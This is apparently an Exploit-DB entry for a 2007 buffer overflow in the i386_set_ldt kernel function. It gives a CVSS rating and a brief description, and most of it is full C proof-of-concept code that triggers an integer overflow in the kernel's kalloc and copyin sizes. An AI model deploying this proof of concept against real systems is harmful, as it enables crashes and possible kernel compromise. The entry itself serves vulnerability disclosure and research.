Buffer Overflow in i386_set_ldt Function

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7.5

CVSS

HIGH

Buffer Overflow

121

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Patch Exists: NO

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2007

Buffer Overflow in i386_set_ldt Function

This exploit takes advantage of a buffer overflow vulnerability in the i386_set_ldt function. By providing a large input buffer, an attacker can overwrite memory and potentially execute arbitrary code. This vulnerability was discovered and published on milw0rm.com on November 16, 2007.

Mitigation:

To mitigate this vulnerability, it is recommended to update the affected software to a patched version provided by the vendor.

Source

Exploit-DB raw data:

#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and
copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}

// milw0rm.com [2007-11-16]